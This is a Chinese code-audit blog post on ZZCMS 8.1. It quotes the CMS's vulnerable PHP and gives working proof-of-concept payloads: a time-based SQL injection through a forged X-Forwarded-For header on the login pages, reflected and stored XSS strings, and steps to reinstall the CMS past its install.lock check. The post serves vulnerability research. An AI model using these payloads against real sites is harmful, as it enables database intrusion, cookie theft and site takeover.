作者:shiyan
前言:
很早就想搞代码审计了,但是一直觉得自己其他方面还差很多,所以一直在各种补,虽说学的还没忘的快。这次选择ZZCMS8.1主要是当初,这个CMS自从离心小姐姐审计了一番后,然后我就看到吐司也有人审计,很多地方都开始审计,我就纳闷了,为啥会有这么多人审计,,,,离心给我说,估计是因为这是ZZCMS吧。。。
0X001
用户登录处和管理员后台登录处都是用的同样的代码,所以都是可以注射的。
G:zzcms8.1userlogincheck.php 18行—23行
G:zzcms8.1adminlogincheck.php 19行—24行
1
2
3
4
|
$ip=getip();
$sql=“select * from zzcms_login_times where ip=’$ip’ and count>='”.trytimes.“‘ and unix_timestamp()-unix_timestamp(sendtime)<“.jgsj.” “;
$rs = query($sql); //执行一条 MySQL 查询
$row= num_rows($rs); //返回结果集中行的数量
|
然后跟进一下 getip() 函数
G:zzcms8.1incfunction.php 72行—84行
1
2
3
4
5
6
7
8
9
10
11
12
13
|
function getip(){
if (getenv(“HTTP_CLIENT_IP”) && strcasecmp(getenv(“HTTP_CLIENT_IP”), “unknown”))
$ip = getenv(“HTTP_CLIENT_IP”); //getenv() 获取一个环境变量的值
else if (getenv(“HTTP_X_FORWARDED_FOR”) && strcasecmp(getenv(“HTTP_X_FORWARDED_FOR”), “unknown”)) //strcasecmp() 比较两个字符串(不区分大小写),如果一直返回0,否则根据情况返回正负相差的数
$ip = getenv(“HTTP_X_FORWARDED_FOR”);
else if (getenv(“REMOTE_ADDR”) && strcasecmp(getenv(“REMOTE_ADDR”), “unknown”))
$ip = getenv(“REMOTE_ADDR”);
else if (isset($_SERVER[‘REMOTE_ADDR’]) && $_SERVER[‘REMOTE_ADDR’] && strcasecmp($_SERVER[‘REMOTE_ADDR’], “unknown”))
$ip = $_SERVER[‘REMOTE_ADDR’];
else
$ip = “unknown”;
return($ip);
}
|
然后,我们可以看出,HTTP_CLIENT_IP 和 HTTP_X_FORWARDED_FOR 都是可以自己伪造的,并且没有任何限制,所以,这就是一个明显的注入点。
我们就验证下常用的 HTTP_X_FORWARDED_FOR ,来构造下注入语句,测试下。
1
|
X–Forwarded–For: 0.0.0.0‘ and sleep(10) and ‘1‘=’1
|
在用户登录处或者后台管理页面登录处,用 burp 抓包下,添加下上句的 payload ,然后就可以看出页面延时了10秒,从而证明存在注入。
0X002
在根目录的 uploadimg_form.php 文件里,存在两处没有任何过滤的可控输入输出。
G:zzcms8.1uploadimg_form.php 66行—67行
1
2
|
<input name=“noshuiyin” type=“hidden” id=“noshuiyin” value=“<?php echo @$_GET[‘noshuiyin’]?>“ />
<input name=“imgid” type=“hidden” id=“imgid” value=“<?php echo @$_GET[‘imgid’]?>“ />
|
可以看出可控参数 noshuiyin 和 imgid 都没有任何过滤,所以我们的 payload 只需要闭合下标签就可以达到攻击效果。
1
2
|
uploadimg_form.php?noshuiyin=“><script>alert(document.cookie)</script>
uploadimg_form.php?imgid=”><script>alert(document.cookie)</script>
|
这个文件也没有权限控制跳转,所以可以直接弹出弹框。
0X003
G:zzcms8.1onelink.php 7行—21行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
if (isset($_REQUEST[“action”])==“add”){
checkyzm($_POST[“yzm”]);
session_write_close();
$sitename = isset($_POST[‘sitename’])?$_POST[‘sitename’]:“”;
$url = isset($_POST[‘url’])?addhttp($_POST[‘url’]):“”;
$logo = isset($_POST[‘logo’])?addhttp($_POST[‘logo’]):“”;
$content = isset($_POST[‘content’])?$_POST[‘content’]:“”;
if ($sitename==”||$url==”||$logo==”||$content==”){
showmsg(‘请完整填写您的信息’);
}
query(“insert into zzcms_link (sitename,url,logo,content,sendtime)values(‘$sitename’,’$url’,’$logo’,’$content’,'”.date(‘Y-m-d H:i:s’).“‘)”);
showmsg(‘操作成功!提示:提交申请后,请做好本站链接——如果没有增加本站的链接,那么你的申请是不会被通过的。’,‘link.php’) ;
}
|
可以看出,这里只对 sitename,url,logo,content 这四个参数判断了一下是否存在和是否为空,然后就存到数据库里了,没有进行任何过滤和其它的验证。
G:zzcms8.1adminlinkmanage.php 127行—140行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php
$rsn=query(“select bigclassname from zzcms_linkclass where bigclassid=”.$row[“bigclassid”].” “);
$rown=fetch_array($rsn); //从结果集中取得一行作为数字数组或关联数组
echo $rown[“bigclassname”]?></a></td>
<td><b><?php echo $row[“sitename”]?></b><br>
<a href=“<?php echo $row[“url”]?>“ target=“_blank”><?php echo $row[“url”]?></a><br>
<?php if ($row[“logo”]<>“”){?>
<img src=“<?php echo $row[“logo”]?>“ width=“150” height=“50”>
<?php }else{
echo “未填写LOGO地址”;
}
?> </td>
<td><?php echo $row[“content”]?></td>
<td><?php echo $row[“sendtime”]?></td>
|
在输出的界面代码中也没有任何过滤,所以,这就造成了一个储存型XSS漏洞。
好吧,出现了玄学问题,,,从 link.php 文件里存到数据库的那四个参数,其中 ” > < 都被实体编码了,好玄学,,,那总得出来个审计出来个储存把?
G:zzcms8.1adminlink_save.php 21行—43行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
$FriendSiteName=trim($_REQUEST[“sitename”]);
$url=addhttp(trim($_REQUEST[“url”]));
$logo=addhttp(trim($_REQUEST[“logo”]));
$content=trim($_REQUEST[“content”]);
//trim()移除字符串左侧的字符 默认(””-NULL ,”t”-制表符,”n”-换行,”x0B”-垂直制表符,”r”-回车,” “-空格)
if (isset($_POST[“passed”])){
$passed=$_POST[“passed”];
}else{
$passed=0;
}
if (isset($_POST[“elite”])){
$elite=$_POST[“elite”];
}else{
$elite=0;
}
if ($_REQUEST[“action”]==“add”){
query(“INSERT INTO zzcms_link (bigclassid,sitename,url,logo,content,passed,elite,sendtime)VALUES(‘$classid’,’$FriendSiteName’,’$url’,’$logo’,’$content’,’$passed’,’$elite’,'”.date(‘Y-m-d H:i:s’).“‘)”);
}elseif ($_REQUEST[“action”]==“modify”) {
$id=$_POST[“id”];
query(“update zzcms_link set bigclassid=’$classid’,sitename=’$FriendSiteName’,url=’$url’,logo=’$logo’,content=’$content’,passed=’$passed’,elite=’$elite’,sendtime='”.date(‘Y-m-d H:i:s’).“‘ where id=’$id'”);
}
|
这个是管理后台页面的添加友联,代码和上面的差不多,基本一样,那这里总不会出现玄学问题了吧?
<script>alert(1)</script>
。
恩,成功的弹出来了。
0X004
G:zzcms8.1installindex.php 11行/51行—90行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
$step = isset($_POST[‘step’]) ? $_POST[‘step’] : 1;
<?php
switch($step) {
case ‘1’://协议
include ‘step_’.$step.‘.php’;
break;
case ‘2’://环境
$pass = true;
$PHP_VERSION = PHP_VERSION;
if(version_compare($PHP_VERSION, ‘4.3.0’, ‘<‘)) {
$php_pass = $pass = false;
} else {
$php_pass = true;
}
$PHP_MYSQL = ”;
if(extension_loaded(‘mysql’)) {
$PHP_MYSQL = ‘支持’;
$mysql_pass = true;
} else {
$PHP_MYSQL = ‘不支持’;
$mysql_pass = $pass = false;
}
$PHP_GD = ”;
if(function_exists(‘imagejpeg’)) $PHP_GD .= ‘jpg’;
if(function_exists(‘imagegif’)) $PHP_GD .= ‘ gif’;
if(function_exists(‘imagepng’)) $PHP_GD .= ‘ png’;
if($PHP_GD) {
$gd_pass = true;
} else {
$gd_pass = false;
}
$PHP_URL = @get_cfg_var(“allow_url_fopen”);//是否支持远程URL,采集有用
$url_pass = $PHP_URL ? true : false;
include ‘step_’.$step.‘.php’;
break;
case ‘3’://查目录属性
include ‘step_’.$step.‘.php’;
break;
case ‘4’://建数据库
include ‘step_’.$step.‘.php’;
break;
|
这个ZZCMS也是通过 install.lock 来判断是否已经安装了的,然后我们根据上面的代码可以看出 step 参数如果为空的话,就默认从 1 开始,然后我们跟进下 step_1.php 这个文件。
G:zzcms8.1installstep_1.php 1行—5行
1
2
3
4
5
|
<?php
if(file_exists(“install.lock”)){
echo “<div style=’padding:30px;’>安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件</div>”;
}else{
?>
|
这个文件里判断了当前目录下是否存在 install.lock 文件,如果存在就提示已经安装了,那继续看下 step_2.php 的内容。
G:zzcms8.1installstep_2.php 1行—3行
1
2
3
|
<?php
if(@$step==2){
?>
|
这里没有继续判断是否存在 install.lock 文件,那继续看下剩下的 step_3/4.php 里有没有判断条件。
G:zzcms8.1installstep_3.php 1行—5行
1
2
3
4
5
|
<?php
if(@$step==3){
$token = md5(uniqid(rand(), true)); //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
$_SESSION[‘token’]= $token;
?>
|
G:zzcms8.1installstep_4.php 1行—9行
1
2
3
4
5
6
7
8
9
|
<?php
if(@$step==4){
if ($_POST[‘token’] != $_SESSION[‘token’] || $_POST[‘token’]==” ){
echo “非法提交”.$_POST[‘token’].“<br>”.$_SESSION[‘token’];
exit();
//}else{
//unset($_SESSION[‘token’]);
}
?>
|
step_4.php 文件里也没有判断 install.lock ,只是验证了一下在 3 里的那个 token ,所以,3 到 4 这个步骤不能越过,但是,这是个重装漏洞是妥妥的了。
我们只需要进入 installindex.php 路劲文件下,POST 一下 2 ,然后按顺序走下去就重装了这个CMS。
0X005
这个CMS后台管理处,还有一堆储存型XSS。。。。
原文链接:http://sh1yan.top/?p=137
来常州一直没有找到好的网站来练手,这次就全心全意渗透一个站吧,虽然是教自己的培训机构。。。 一、前期信息收集 这步在脚本小子阶段可能显得不是那么有用,有注入点或是弱密码就能搞,没有就直接跳过,既然是全心全意搞一个网站,,那就把每个步骤做全做好吧 首先是收集相关…
请登录后发表评论
注册